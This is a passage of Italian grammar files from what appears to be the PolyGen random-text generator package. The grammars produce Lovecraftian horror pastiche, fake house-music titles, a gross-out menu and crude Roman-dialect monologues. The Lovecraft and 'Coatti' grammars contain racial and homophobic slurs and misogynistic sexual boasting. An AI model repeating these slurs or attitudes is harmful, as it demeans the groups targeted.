\landa|arkham|dunwich|leng|r'lyeh|yhe) ; QUALITA ::= che si levava nella terra di \mnar quando l'uomo era giovane|scolpita nella pietra grigia prima dell'esistenza dell'uomo|la citta' blasfema del miraggio ^"," in una realta' cruda ^"," oggettiva e ineluttabile|infestata di leggende|scomparsa nel \pacifico|fatiscente e ossessionata di dicerie|inaccessibile nell'^\asia \centrale|irta di cupole e guglie|inghirlandata di alghe e conchiglie ; AGG ::= l'^(empio|abominevole|osceno|innominabile|incommensurabile|eterno|orrendo)| il (blasfemo|demoniaco|malvagio|sacrilego|detestabile|disgustoso|mostruoso) ; POSTO ::= vecchia casa della strega|caverna interna dietro la \tana del \serpente|ampia stanza con le pareti tappezzate di arazzi stranamente figurati|vasta sponda fungosa|ripida fuga di scalini|regione di paludi e lagune a sud della citta'|misteriosa costruzione di pietra| fattoria maledetta|biblioteca segreta|torre sigillata|profonda citta' gelata|galleria disgustosamente scolpita|terra rustica e spettrale|titanica rampa di pietra|fattoria oppressa dalla morbosita'| infernale cripta di basalto ; FRASE ::= \(cthulhu fhtagn|y'ai 'ng'ngah ^"," ogthrod ai'f|yog^"-"^\sothoth geb'l^"-"ee'h| uaaah zhro|ygnaniih|tekeli^"-"^li) ^"!" ; ESITA ::= \ (e' solo con esitazione e ripugnanza che la mia mente torna al campo di \lake e a quello che realmente vi trovammo ^"," e a quell'altra cosa oltre le montagne della follia| mi trovo ora a un punto in cui la tentazione di esitare ^"," o di alludere piuttosto che esprimere ^"," e' molto forte|ci sono persone che diranno che \danforth e io eravamo completamente pazzi|gia' una volta sono arrivato a un punto in cui era molto difficile procedere|provo tuttora quasi timore a parlare della natura dei sogni e delle impressioni che crescevano in modo tanto importuno|vengo ora alla parte cruciale e piu' difficoltosa del mio racconto|sono restio a giurare su quello che udii o su quale fenomeno realmente ebbe luogo davanti a me|l'orrore supremo avvenne quella stessa notte|l'ombra della paura senza nome aleggiava sempre intorno alle botole sigillate ^"," e alle buie ^"," antiche torri senza finestre|mai piu' in seguito potei vedere il mondo come l'avevo conosciuto) ^"." ; GENTE ::= (dottore|vecchio capitano|ispettore|giovane|uomo morto con la maschera barbuta in mano|gigante nudo|corpo deforme e carbonizzato|marinaio norvegese|^o studioso|geologo| vecchio canuto e malrasato|bibliotecario|polacco|riparatore di telai|negro enorme con un tabarro); COSE ::= infinite distese di roccia incrostata di verde|una maculata luna fungoide|alberi deformi| radici contorte|titanici blocchi limacciosi|onnipresenti giardini quasi terrificanti nella loro stranezza|un pozzo cilindrico rivestito di mattoni|simboli mistici e formule rozzamente intagliate nella pietra liscia|un mondo di orrori sotterranei|usci cadenti|una donna albina dai capelli crespi| una vecchia megera|orribili cilindri e macchine|strani corpi nei corsi d'acqua in piena|mostruose forme rosa spiate nel folto degli alberi|pinnacoli rocciosi|un cerchio druidico di pietre verticali|verdi picchi e precipizi coperti di boschi neri|terribili razze nascoste di trogloditi e scavatori|macabre creature a forma di granchio|una luce crepuscolare inesplicabilmente colorata|una malefica luce viola|ponti tubolari| sculture turpi|obelischi con strani rigonfiamenti bulbosi|formazioni di cubi regolari|coni tronchi sormontati da pozzi cilindrici|montagne di follia crivellate dai vermi|macabre case marroni|una massa di bolle| protoplasmi informi|un criptico mondo di morte gelata|mostruosi scorci di paesaggio|una spaventosa razza cosmica|baluardi bassi e verticali|sferoidi gommosi|viscosi agglutinamenti di cellule ribollenti|spazi vuoti popolati di orrori galleggianti ; MOSTRI ::= fronte smisurata e protuberante|mandibola da alligatore|piedi palmati|ali membranose| testa polposa e tentacolata|corpo grottesco e squamoso|ali rudimentali|artigli lunghi e ricurvi| testa come quella di una piovra|testa da cefalopode|faccia caprina e senza mento|tentacoli flaccidi dotati di rosse bocche a ventosa|una mezza faccia d'uomo|un corpo fatto tutto di funi attorcigliate| dozzine di gambe come barili|grandi occhi sporgenti dappertutto|ali sgraziate ma possenti|struttura fungoide|un torso a forma di barile|cinque sistemi di bracci|collo tozzo e bulboso|testa giallastra a forma di stella marina|braccia coriacee|zampe palmate|midiadi di occhi temporanei|grosse chele ; RUMORE ::= folli grida e urli strazianti|uno sconosciuto fetore|cantilene da gelare l'anima| deliranti fiamme demoniache| un fetore come di mille tombe scoperchiate| una nube verde acre e accecante| uno spettrale vorticare nei liquidi gorghi dell'infinito|vertiginose corse fra universi roteanti a cavallo di una cometa|isterici tuffi dall'abisso alla luna|cori di sguaiate risa degli antichi dei [ilari e distorti]|strani bagliori|odori chimici|borbottii e sussurri di negri|una serie sconvolgente di grida|grida convulse|una risata diabolica e isterica|monotoni mugolii di acquiescenza| gemiti di supplica|boccheggianti ansiti di impazienza|[stridule] conversazioni immaginarie con voci contraffatte|forti schianti e rimbombi da sottoterra|un selvaggio abbaiare di cani|un sinistro sgocciolare di lontane e invisibili acque|un sibilo musicale su una vasta gamma di note|voci ronzanti| il grido rauco di un pinguino|l'esile ^"," monotono suono di un flauto invisibile|uno scricchiolio di travi nascoste|tuffi in abissi senza limiti|un vortice demoniaco di suono disgustoso ; ESSERE ::= \shoggoth|\cthulhu|\yog^"-"\^sothoth|\tsathoggua|\nyarlathotep|\shub \niggurath|grottesco rettile|ibrido essere alato|\azathoth|ibrido blasfemo|animaletto peloso con le zanne bianche|cilindro senza nome|amorfo essere dall'aspetto di un rospo ; UNO ::= (RUMORE e RUMORE attirarono facce assonate a ogni finestra|c'erano stati RUMORE e RUMORE e la gente non ne poteva piu') ^"." ; DUE ::= un GENTE (viveva|aveva preso alloggio|era scomparso) nella POSTO ^";"era infatti (tormentato| perseguitato) da sogni in cui (si trovava in una POSTO|era circondato da creature dotate di MOSTRI|c'erano RUMORE e RUMORE|vedeva COSE) [e (si trovava in una POSTO|era circondato da creature dotate di MOSTRI| c'erano RUMORE e RUMORE|vedeva COSE)] ^"."; TRE ::= mentre studiavo ((un (testo oscuramente misterioso|libro apertamente orribile) da me (rinvenuto|sottratto) nella POSTO) |((una scrittura contorta ^"," illeggibile e dall'aspetto arcaico|iscrizioni in un linguaggio sconosciuto e primitivo| leggende ancestrali) nella POSTO attorniata da COSE)) ^"," (appresi|indovinai|vidi chiaramente) (il segreto che si cela dietro le >(nubi di \magellano|le nebulose globulari)|la tenebrosa verita' rivelata dall'immemoriale allegoria del \tao|da dove venne AGG ESSERE|la leggenda di CITTA|la natura di COSE che avevo visto in sogno) ^"." ; AZIONE ::= alzo' le braccia|si rotolo' disperatamente|striscio'|si graffio' le mani sulle pietre grezze e sconnesse|batte' la testa contro le colonne|impazzi'|svenne|rivolse un discorso incoerente a un gruppo di sfaccendati|si aggrappo' alla ringhiera di ferro|si sveglio' nel suo letto|urlo' a piena voce ; FINE ::= \(venni precipitato nell'oscurita' delle viscere della terra scavate dall'orrore| grandi buchi vengono scavati in segreto ^"," dove i pori della terra dovrebbero bastare ^"," e cose che dovrebbero strisciare hanno appreso a camminare|se non dovessi sopravvivere a questo manoscritto ^","prego che i miei esecutori testamentari antepongano la prudenza all'audacia ^"," e badino a che nessun altro occhio possa vederlo|adesso \joseph \curwen giaceva sparso sul pavimento come un sottile strato di fine polvere grigioazzurra|erano la faccia e le mani di \henry \wentworth \akeley|l'abominio attende e sogna nel profondo ^"," e la decomposizione dilaga sulle vacillanti citta' dell'uomo|fu quello ^"," senza dubbio ^"," l'evento che spalanco' il pozzo senza fondo di tante nere visioni|da quando siamo tornati abbiamo lavorato tutti costantemente per scoraggiare l'esplorazione antartica ^"," e abbiamo conservato per noi stessi dubbi e congetture con magnifica unita' e fedelta') ^"." ; polygen-1.0.6.ds2/grm/ita/housemusic.grm0000644000175000017500000001035610340417034017440 0ustar enricoenricoI ::= "title: House Music\n" ^ "author: Lorenzo Ferrari" AND AUTORE "<lore-f@tiscali.it>\n" ^ "language: english\n" ^ "status: initial release (" ^ VERSIONE1 VERSIONE2 ^ ")\n" ^ "topic: music\n" ^ "audience: only for DJs...:)\n" ^ "comment: special thanks to \"" ^ AUTORE ^ "\"\n" ^ "disclaim: " ^ ETICHETTA ^ "\n" ^ "created: 28/12/2004"; S ::= AUTORE COAUTORE "-" TITOLO VERSIONE ^ "\n" ^ ETICHETTA ^ ""; AUTORE ::= AUTORE1 AUTORE2 | AUTORE2 AUTORE3; AUTORE1 ::= "Agent" | "Mr." | "The" | "DJ" | "Dr." | "Doctor" | "Mister"; AUTORE2 ::= PAROLA | PAROLA PAROLA; AUTORE3 ::= "People" | "Orchestra" | "City" | "Town" | "System" | "Scene" | "Land" | "Nation" | "Connection" | "Gang" | "Productions" | "Project" | "Team" | "DJ" | "Design" | "Brothers" | "Tribe" | "Factory" | "Machine" | "Boss" | "Street" | "Plaza" | "Village" | "Bros." | "Guys"; COAUTORE ::= + AND AUTORE | _; AND ::= "&" | "Vs." | "Feat." | "Featuring" | "Presents"; TITOLO ::= PAROLA | PAROLA PAROLA | PAROLA PAROLA PAROLA; VERSIONE ::= + "(" ^ VERSIONE1 VERSIONE2 ^ ")" | _; VERSIONE1 ::= AUTORE | "Tribal" | "Dance" | "Radio" | "Extended" | "Club" | "Vocal" | "Original" | "Latin" | "Album" | "Single" | "Deep House" | "Disco" | "Chillout" | "Lounge" | "Electro" | "Trance"; VERSIONE2 ::= "Mix" | "Version" | "Edit" | "Remix"; ANNO ::= ("198" | "199" | "200") ^ ("0" | "1" | "2" | "3" | "4" | "5"); ETICHETTA ::= ETICHETTA11 ETICHETTA2 ETICHETTA3 | ETICHETTA12 ETICHETTA2 ETICHETTA3 ETICHETTA4; ETICHETTA11 ::= "(C)" ANNO; ETICHETTA12 ::= "Courtesy of" | "Distributed by"; ETICHETTA2 ::= PAROLA | PAROLA PAROLA; ETICHETTA3 ::= "Records" | "Recordings" | "Music" | "Sound" | "Productions" | "Management" | "Entertainment" | "International" | "Songs"; ETICHETTA4 ::= "(" ^ ANNO ^ ")"; PAROLA ::= "Disco" | "Sound" | "Vibe" | "Super" | "Cool" | "Clubber" | "Ibiza" | "Feel" | "Good" | "Bass" | "Pleasure" | "Night" | "Club" | "Rythm" | "Ecstasy" | "Massive" | "Freedom" | "Free" | "Light" | "XTC" | "Peace" | "Emotion" | "Feeling" | "Criminal" | "Chemical" | "Fuckin'" | "Sexy" | "Sex" | "Hot" | "Weekend" | "Love" | "Easy" | "Music" | "House" | "Dance" | "Moon" | "Sun" | "Star" | "Myth" | "King" | "Queen" | "Young" | "Heart" | "Trip" | "Trippin'" | "Space" | "Move" | "Shake" | "Shakin'" | "Happy" | "Groove" | "Master" | "Run" | "Beautiful" | "Dream" | "Dreamin'" | "Time" | "Get Down" | "True" | "Fine" | "High" | "DJ" | "Another" | "Chance" | "Great" | "People" | "Ride" | "Home" | "Drums" | "Tribe" | "Funky" | "Deep" | "Voice" | "Fun" | "Future" | "Life" | "God" | "Summer" | "Sea" | "Drunk" | "Tokyo" | "N.Y." | "Body" | "Mind" | "Forever" | "Smooth" | "Fly" | "Fresh" | "Air" | "Shamanic" | "Drug" | "Speed" | "Highway" | "Balearic" | "Power" | "Play" | "Wave" | "Surfin'" | "Smokin'" | "Livin'" | "Dimension" | "Lovin'" | "Ridin'" | "Shifter" | "One" | "Dark" | "Trance" | "Again" | "Everybody" | "C'mon" | "Baby" | "Pure" | "Rockin'" | "Rollin'" | "Dancin'" | "Joy" | "Bliss" | "Shock" | "Shockin'" | "Room" | "Killer" | "Crackin'" | "Burn" | "Fire" | "Burnin'" | "Inside" | "Inner" | "Smile" | "Smilin'" | "Party" | "Drink" | "Drinkin'" | "L.A." | "Killin'" | "Beat" | "Dancefloor" | "Hit" | "70's" | "80's" | "Now" | "Saturday" | "Friday" | "Stop" | "Keep On" | "Head" | "Paris" | "Paradise" | "Heaven" | "Hell" | "Voyage" | "Road" | "Reef" | "Luv" | "Lucky" | "X" | "Stay" | "Noise" | "Illegal" | "Soft" | "Go" | "Guy" | "Lady" | "Girl" | "Man" | "F*ck" | "Silver" | "Gold" | "Hard" | "Addicted" | "Defected" | "Playin'" | "Style" | "Stylish" | "Fashion" | "Top" | "Total" | "Blast" | "Thrillin'" | "Chillin'" | "Island" | "Right" | "Away" | "Alone" | "Downtown" | "Crack" | "California" | "Kiss" | "Blow" | "Colour" | "Tonight" | "Underground"; polygen-1.0.6.ds2/grm/ita/panino.grm0000644000175000017500000000561610340417034016543 0ustar enricoenricoI ::= "title: Panino - il meglio della cucina mediterranea\n" ^ "author: ..::cki::.. <ckiikc@yahoo.it>\n" ^ "language: italian\n" ^ "topic: alimentazione\n" ^ "audience: per voi," (gente | [u^]omini | tizi | giov^(i|++a)^ni ) "di chiara fame\n" ^ "disclaim: per te, " ^( uomo | ++++++gi^[u]^ov^(a|i)^n^(e|otto[^ne]) | stallone | uomo | omo | rude | truce ) ^" dallo stomaco " ^( debole | sensibile | stracciato | rilassato | triste | moscio ) ^ "\n" ^ "created: 17/09/2003" ; (* fermo restando che Vision-X e' un secchio *) S ::="" \l'angolo di^"..." Personaggio "\n" "" \ mi andrebbe proprio (un Panino con Cibo e Contorno | un piatto[^ne] di Piatto al Salsa di Contorno | un'insalata di Cibo e Contorno | un brodo di Contorno | una (bistecca [di Bistecca] | fiorentina) con salsa di Contorno | una purea di Contorno | una mousse di Contorno ) "" ; Panino ::= panino | ^(a rosetta) | tramezzino | ^(a baguette) ; Bistecca ::= maiale | manzo | vitella ; Piatto ::= pasta | riso | linguine | pappardelle | maltagliati | fettuccine | strozzapreti | trofie | fusilli | "mezze maniche" | polenta ; Salsa ::= sugo | pesto | ragu' ; Personaggio ::= \ilaria | \rocco | \roberta | \adriano | \(jimbo | emijano) ; Cibo ::= Alimento ; (* alimenti vari *) Alimento ::= >(Carne | Formaggio | Pesce | Animale | Verdure) ; (* essenza meno profumata anzi *) Contorno ::= sudore | fogna | monnezza | topi | cerume | muffa | percolato | pus | croste | catarro | sputo | lamette | calcinacci | unghie [affumicate]| cera | malta | forfora [a cubetti] | mercurio | cenere | sassi | vetri | chiodi | segatura | carta | batterie | coriandoli | forbici | mosche | vermi | formiche | zecche | pulci | lombrichi | scarafaggi | farfalle | gesso | bolo | freccette | siringhe | croste | brufoli | nei | ciglia | capelli | pidocchi | bidet | carta igienica | baffi | polvere | silicone | cellulite [a scaglie] | nero di unghie | tartaro | ghiaccio | saliva | acari | glaucomi | carie | placca | prostata | grilli | cavallette | coleotteri | sebo | calz^(ini | ettoni) [sudati | bucati] | polistirolo | peli [ascellari] | calli | ragni | moccolo | sporco ; (* formaggi *) Formaggio ::= caciotta | pecorino | ricotta | provola | scamorza | gorgonzola | parmigiano | grana | sottilette ; (* carni varie *) Carne ::= bistecca | spezzatino | bresaola | salame | prosciutto | coppa | ossocollo | cotechino | salsiccia | cotenna | strutto | lardo ["di Colonnata"] ; (* pesci *) Pesce ::= "baccala'" | anguilla | sgombro | sarde | carpa | cernia | pescegatto ; (* animali *) Animale ::= bue | capra | montone | pecora | capriolo | porco | abbacchio | porchetta | pollo ; (* verdure *) Verdure ::= verza | cicoria | lattuga | broccoli | spinaci | carote | cipolle | scarola | indivia | pomodori ; (* frutta *) Frutta ::= fragole | mele [cotte] | uvetta | fichi [secchi] | ciliege [sotto spirito] ; polygen-1.0.6.ds2/grm/ita/coatti.grm0000644000175000017500000007446610340417034016553 0ustar enricoenricoI ::= "title: Coatti\n" ^ "author: Er Poly\n" ^ "language: italian\n" ^ "status: beta\n" ^ "topic: misc\n" ^ "audience: anybody\n" ^ "disclaim: " ^ ( +ma ddeche' aho' Q3 | ++chi s'estragna da'a lotta e' 'n gran fijo de' 'na mignotta | se 'na matina te sveji che c'hai quattro palle P3 er nemico ce l'hai alle spalle | +me pari er cane de mustafa' che oo pija ar culo e dice che sta a scopa' | P3 e si mi' nonno c'aveva cinque palle era 'n flipper | te c'hanno mai mannato a quer paese Q ) ^ "\n" ^ "created: 26/08/2004" ; S ::= \ [ CIAO (++_ | >NUNCECREDERETE V) MOVERICCONTO NL2 ] LARTROGGGIORNO MENTRECHEANNAVO P3 (>VADOASBATTE | >NCONTRO) FINE ; NCONTRO ::= chi te (vedooo | ^'ncontrooo) Q3 SOSP (ERCOSO|++NAFICA) ; VADOASBATTE ::= aho' P3 [ a'n certo punto P3 ] (>NUMMEVADO | >NUNTEVADO) ; CIAO ::= (+++_ | +aho') [s^]ciao RAGA P3 (+++_ | [ allora Q ] come >(ve butta | --v'arza) Q NL2) ; RAGA ::= _ | ++rega' | -pischelli | [ a'^ ] >(++++belli | -trucidi) | a'^ >(---rintronati | --pezzi de fango) ; NUNCECREDERETE ::= nun (c | --m) ^e crederete | me pozzino cecamme | da nun crede; MOVERICCONTO ::= [ state a senti' P3 ] ( mo ve r^ (++i | a) ^cconto (++l'urtima [ che m'e' successa ] | 'sta cosa ) | questa ve la devo [ popo ] [ da ] r^ (++i | a) ^cconta' | sapete che m'e' successo Q3 | [ m'^ ] e' successo 'n casino) [ P3 (+++un maciello | 'na cambogia) ] [ P3 'n'apocalisseee ] ESCL ; LARTROGGGIORNO ::= stamatina | >(l'artr ^ (++ o ggiorno | a sera | --a notte) ) | ieri [ sera ] | prima V; MENTRECHEANNAVO ::= (MENTRECHE (ANNAVO | >COREVO | >FACEVO) COAMACHINA).(A | +B) ; MENTRECHE ::= A: mentre che (_ | -io) | B: (_ | -NASCENA) (_ | --io) stavo a; NASCENA ::= (oh | giuro) V 'na scena [ troppo ] da PANICO ESCL (_ | -- [ popo ] la fine der monno ESCL) NL2; PANICO ::= +pa^ (u^ | uu^ (u^) +) ra | panico | --url^ (o^ | oo^ (o^) +) ; ANNAVO ::= (A: annavo | B: anna') (---- (pe li (fatti | +cazzi) mia) | >APALLA) ; COREVO ::= (A: corevo | B: (core | sfreccia') ) APALLA | (A: sgommavo | B: sgomma') [debbrutto] [popo co li razzi ar culo] ; FACEVO ::= (A: facevo | B: fa') ( >( ++li testacoda | le derapate | +le sgommate | 'n sorpasso | -inversione | -'o splendido | ----'o sgargiulo ) APALLA | -li sorchi (per tera | sull'asfarto) ) ; COAMACHINA ::= { (--_ | co (++^'a machina (_ | --nova) | ^'a moto | +^r motorino (_ | modificato | --'ngolfato) ) >DEMIFRATELLO) } { (_ | --contromano) [ su ( +'a tangenziale | 'a tiburtina | --'a prenestina | ---'a laurentina | -^r l'aurelia | --^r raccordo anulare) ] } ; DEMIFRATELLO ::= de mi'^ (+++fratello | cuggino | padre | zzio) ; NUMMEVADO ::= nun MEVADOASBATTE (_ | --- ({ [ dritto ] }{ [ de testa | dritto ] }) ) contro ARGARDREIL (_ | demmerda | der cazzo) Q3 ESCL ESCL (+++_ | NACRACCA) POZZINAMMAZZA NL2 [ (poi | +allora) V [ gnente P3 ] ] mentre (_ | +++che) stavo la' [ a ( +metteme 'a giacchetta fosforescente | cerca' er triangolo | ++++riccojeme li (pezzi | --brandelli [ de (++carne | --cervello [ spappato ] ) ] ) ) ] V [ tutto ] mezzo rin^ (cojonito (+++_ | V che me sentivo come 'n ovo de pasqua sotto l'arbero de natale) | torcinato) P3 (_ | ++popo) in quer momento (chi tte passa Q3 | +++passa) (++_ | NANDO) er COSO P3 che SEMETTEARIDE ( {io [ V sempre piu' ncazzato V ] } {allora} ) (je dico | ++j'ho detto) AV ( SEIPOPO | +MHAIPOPO ) ESCL CHETEFACCIO CV NL2 aho' P3 (ha smesso subbito de ride | s'e'zittito | nun ha riso piu') ESCL SELESQUAIATA ; NUNTEVADO ::= nun ( [ te ] (vado | so' annato) a sbatte co [ ^ntro er >(+furgone | ++camio | -caro funebre | motocaro | motorino | motoscutere) d^ [ e NANDO ] ] er COSO ) Q3^ESCL^ESCL (+++_ | NACRACCA) [ POZZINAMMAZZA ] NL2 [ e ] ({allora} { [ io ] }) [ V 'ncazzato (++nero | come 'na jena | come 'n assassino) V ] je (dico | strillo) AV CHETEFACCIO CV NL2 aho' P3 SELESQUAIATA ; SELESQUAIATA ::= [ ha sgranato j'occhi e ] s'e' (scacato | >(-l'e' fatta | +cacato) >(sotto | 'n mano | nei carzoni | ne'e mutanne) ) [ (pe | da) ^'a strizza [ che j'ho messo ] ] ESCL NL2 ha detto 'na cosa tipo AV MAVAMORIAMMAZZATO CV " ("^ eh eh V (+_ | (--ma tanto | e) che nun [ ce ] lo so che) era la paura a fallo parla' V 'sto ('mpunito | burino | +++cojone) P3 ^") " poi [ se l'e' squajata P3 ] e' ripartito a (++palla [ de foco ] | cannonella | [ tutta ] piottella | +tutta sgommella) (++_ | V tipo da zero a cento in ddu [ micro^ ] secondi) ESCL NL2 nzomma so' troppo bullo [ V aho' ] P3 so' er (++mej^ (o | oo^ (o^) +) | piu') ESCL ; SEMETTEARIDE ::= [ (_ | ----me) se ferma P3 ] [ (s'affaccia dar | ++abbassa er) finestrino P3 ] (me,_ guarda _, ('a scena) ) e ( (me se mette) , ( [ me ] (comincia | ++se mette) ) a ride [ 'nfaccia ] , [ come 'n >(++deficiente | -subbnormale | cretino | demente | ++^a testa de cazzo) ] ) ^"!"\ NL2 [ bada P3 ] nun (l'avesse mai fatto | c'ho visto piu') ESCL ESCL NL2 [ ( ({ [ ho sbroccato ESCL ESCL ] } {so' partito de (c^ [ ap^ ] occia | cranio) ESCL ESCL ESCL}) | (-m'e' partita 'a brocca ESCL ESCL ESCL) ) NL2 ] j'ho (strillato | detto) DP AV MACCHETTERIDI CV NL2 (ma | e) questo continuava [ a ride ] P3 ( s'asganasciava | +se scompisciava | ++se stava a >(spacca' | sgara' | scompiscia' | stucca') da le risate ) ESCL NL2 ; MEVADOASBATTE ::= >(me _,ne (vado | +++so' annato) (a SDRAIA^') ,_) | >( (_ | te) ,_ (vado | ++so' annato) (_ | +a sbatte) , (a SDRAIA^mme) ) ; SDRAIA ::= ++++sdraia | ++stampa | +++^'nfrocia | ----sparma | --cappotta | --spiaccica | --sfracella | sfragna; ARGARDREIL ::= ( (er | ar | 'r) gardreil | 'n arbero | -'n cartellone | -'n paletto | -'na frattina) ; NAFICA ::= NUNVARRAPATE SOANNATO MEDICE SOERMEJO; NUNVARRAPATE ::= [ nun v'arrapate V eh P3 ] ( ++un pezzo de (fica | fregna) | 'na >( +sorc^ [ on^ ] a | +strappona | sbrindellona | smandra^ (pp | cchi) ^ona) ) [ sdraiacazzi ] [ d'antologia ] V che (nun ve [ la ] potete [ popo ] immaggina' | me la sogno la notte | nun se po' descrive pe' quanto era bbona) ESCL (MACHEVELODICOAFFA NL2 vabbe'nzomma V [ fatto sta' che ] | ma) poi l'ho riconosciuta [ V no ] P3 [ m'e' preso [ quasi ] 'n coccolone ESCL ] era la cuggina [ V quella famosa V ] de NANDO er COSO P3 oh raga' V questa [ e' una che ( (la da' via | te'a tira appresso) come >( ++++ [ fosse ] 'n frisbee | ++l'ossi a li cani | -er mangime a li pescetti | ----er pane ) | lecca pure la padella | fa la sarta P3 si' V sarta da 'n cazzo a 'n artro | se va dar l'orologiaio se lo fa mette un'ora avanti e un'ora a'ndietro ) ESCL SOSP [ c'ha 'n gratta^"&"^vinci dentro le mutanne ESCL SOSP ] ] c'ha ( (S: 'n culo | P: ddu (bocce | cosce | zinne) ) (che (url^ (S: a | P: eno) | parl^ (S: a da solo | P: eno) ) | da (paura | panico | urlo | 'nfarto) ) ).(S | ++P) ESCL NL2 [ me pija troppo ESCL ] (++m'acchiappa | m'aralla | +++m'attizza) ('na cifra | n'casino) ESCL [ (je sto a rota | so' popo cucinato) ESCL ] NL2 ; SOANNATO ::= [ ( [ sia chiaro V ] nun so' tipo che [ di solito ] ) va a fa' er (++grezzo | --mandrillo) ma quanno la voja de 'nzuppa' (l'agnello | er biscotto) e' [ popo ] troppa V nun (+c'e' (cristo | santi) | resisto | c'aa faccio [ a resiste ] ) P3 NL2 ] allora [ me so' (+auscurtato la salubbrita' | fatto er checkkup) der (cavo orale | l'ascella [ muschiata | commossa ] ) V poi ] so' annato la' [ V tutto (splendido | sgargiulo) V ] e j'ho detto AV [ ah fat^ (a^) + ESCL ] ah bella fat^ (a | aaa) ESCL [ [ s^ ] ci^ (a | aaa) ^o V ] (li mortacci [ tua ] | ammazza [ ^te ] ) quanto sei >(++++bbona | fica | sorca | ++fregna) ESCL [ me fai [ s^ ] batte er core (+++_ | a cannonella | a piottella | +a dducento) ESCL ] [ dai V ] (se famo | s'annamo a fa') n'giro Q [ [ voi 'na guida turistica Q ] te faccio vede' (er mejo obelisco | a' mejo cappella) de \roma P3 (++++_ | a (puledra | cavallona) V sciaqqua [ ^te ] la sella che stasera se cavarca ESCL) ] [ eh Q c'hai er ragazzo ^"!?"\ be' (++nun e' ora che te fai | che aspetti a fatte | nun vedi che qua ce sta') n'omo Q3 ] [ [ nun per vantarmi ma ] 'o sai che [ ar quartiere mio ] me chiameno [ \er ] \ (treppiede | siluro | pilone | pennone) P3 [ modestamente P3 ] (_ | +si tte 'o metto 'n spalla V artro che via crucise ESCL | si me sdraio cinque minuti all'aperto V l'aquile me ce (vanno a fa'|fanno) er nido) ] CV NL2 ; MEDICE ::= (lei | --questa qua) [ se vorta V ] me guarda [ V co 'na dorcezza (+immenza | grande) dentro a j'occhi [ de smerardo ] V ] e me (dice | fa' | risponne) P3 AV MACCHITTE CV NL2 ; SOERMEJO ::= ( [ [ ah ah P3 a me 'ste cose [ popo ] m'arimbarzano V anzi ] [ state a senti' (er playboy | ++uno che s'anintende) P3 ] (se | quanno) le DONNE ve tratteno male P3 (significa | +vor di' | [ potete scommette ] dieci sacchi) che (ce stanno | e' fatta) [ V [ ma ] [ e' solo che ] nun ve (^'o) ,_ vonno fa' capi' _, (quanto so' (attizzate | +arapate) [ pe' nun (da' l'idea de esse | favve pensa' che so') mignotte [ affamate de cazzo ] ] ) ] ESCL NL ] [ inzomma ] questa [ popo ] se vedeva che (stava gia' [ flesciata ] perza der sottoscritto | j'arisurtavo gia' 'na cifra) P3 | a quer punto [ V praticamente ] [ V aho' V ] me ne so' venuto (_ | [ li' ] sur posto | (nei | dentro ai) carzoni) [ [ popo ] senza ritegno ] come ('n regazzino | +'n tubbetto de dentifriscio | ++'n barile de birra | ++++'na bottija de spumante | +'na bomb'atomica) ESCL NL (boh V | [ oh V ] nun lo so V ma) a me ( V quanno [ che ] le DONNE | le DONNE che) me tratteno male V me fanno mori' P3 NL2 ) che volete [ da ] fa' P3 [ [ am^ ] modestamente ] 'so [ popo ] ( 'n >(omo | ganzo | mandrillo) CORFASCINO | er _,_,mejo maschio ( (predatore | dominante) [ CORFASCINO ] ) , (nummero uno [ de roma ] ) , (de roma) ) ; CORFASCINO ::= cor fascino der (latrin | latin | land) ^ (lover | loden | rover | power) ; DONNE ::= (+donne | --pischelle | -tipe | ----rigazze | fiche) ; MACHEVELODICOAFFA ::= ma che ve lo dico a fa' P3 che tanto voi ( siete [ tutti [ quanti ] ] 'na (banda | ++manica | massa) de (+++froci | +recchioni | finocchi | ++'mpotenti | (' | ri) ^nfrociti | ghei | rottinculi) [ demmerda ] | V (_ | ---me sa' V avete visto piu' comete che fregne P3) pe' quante seghe ve fate [ ogni ggiorno ] V ormai ( +++c'avete er cazzo coll'impugnatura anatomica | +annate in giro cor bastone bianco | ve c'e' cresciuto er prato inglese su'a mano ) ) ESCL ; MACCHITTE ::= (_ | ++ma chi tte (conosce | --s'ha'nculato mai) Q3 (a STRONZO) ESCL (_ | ----te manno a fanculo cor l'elastichetto cosi' quanno retorni te ce rimanno [ n'artra vorta ] ESCL) | (mazza | anvedi) che (homo tisico | fisico) [ V aoh ] ESCL ( me pari 'n domatore de vongole | sei tarmente secco che >( +quanno te fai la doccia devi centra' li schizzi | +er pigiama tuo c'ha 'na stricia sola | ++le radiografie te'e fanno co 'a candel^ (a | ina der compleanno) | si tte casca addosso 'n'inferriata nun te fai gnente | si tte vede la morte V (++se gratta | + [ se scusa e ] te paga er copirait | te denuncia pe' concorenza sleale) ) ) P3 [ (++aripijateee | ariponiteee) ESCL ] ) ( [ >MATTESEIVISTO ] >SEITARMENTEBRUTTO | ma vedi d'annattene va P3 | >MAVAMORIAMMAZZATO P3 ) [ CHAINFIATO ] [ anvedi (questo | 'sto STRONZO) P3 ] nun (t'avvicina' | ce prova' co' me) che [ tte pijo e ] >TECORCO1 >TECORCO2 ; CHAINFIATO ::= (+_ | senza conta' che | e) poi c'hai ( (+++'n fiato | 'na fiat^ [ ell^ ] a) che ( si me aliti'n faccia me fai li corpi de sole | si te sente er sindaco aripristina subbito 'e targhe arterne ) | 'n alito che e' peggio de la fogna de carcutta ) ESCL ma che te sei ( +++magnato V (-quarcosa de triste | >( (S: un sorcio | P: >(--'na grijata | 'na callara | 'na carovana) de sorci) (mort^ (S:o | P:i) | 'mpestat^ (S:o | P:i) demmerda) ).(S | +P) ) | (scolato | bevuto) V ('n fiasco | 'na tanica | 'n serbatoio) de (^mmerda | +sciorda) ) Q3 [ me sa che sei tarmente zozzo che ( +'e mosche pe' statte sopra devono pia' er numeretto | +ace gentile nun te fa gnente P3 te ce vo' ace 'ncazzato | +quanno entri (dentro | 'n) casa V er cane se va a mette subbito er collare antipurci | li francobolli de merda (ner | ar) culo ) ESCL ] ; SEITARMENTEBRUTTO ::= ( (sei (+tarmente | cosi') brutto | fai tarmente schifo) che >SUCCEDESESEIBRUTTO >( ++_ | -DNA | CHAILACAPOCCIA | CHENASCA ) (_ | + (nun | 'an^) 'te se po' guarda' ESCL | ---me pari 'na sarsiccia che 'e braccia) | ----sei arto 'n cazzo e ddu barattoli V con 'no sputo t'affoghi [ ESCL sei (+tarmente | cosi') basso che ( c'hai le scarpe zozze de gel | --si tte vedono quelli der l'\anas te ficcheno 'n pennello tra le chiappe e t'assumono pe' disegna' le stricie per tera | +si ({scureggi} {'n spiaggia}) te va 'a sabbia dentro l'occhi | la matina devi fa er ("bungee-jumping" | parapendio) pe' scenne dar letto ) ] ) ESCL ; SUCCEDESESEIBRUTTO ::= ( - (nun te vonno 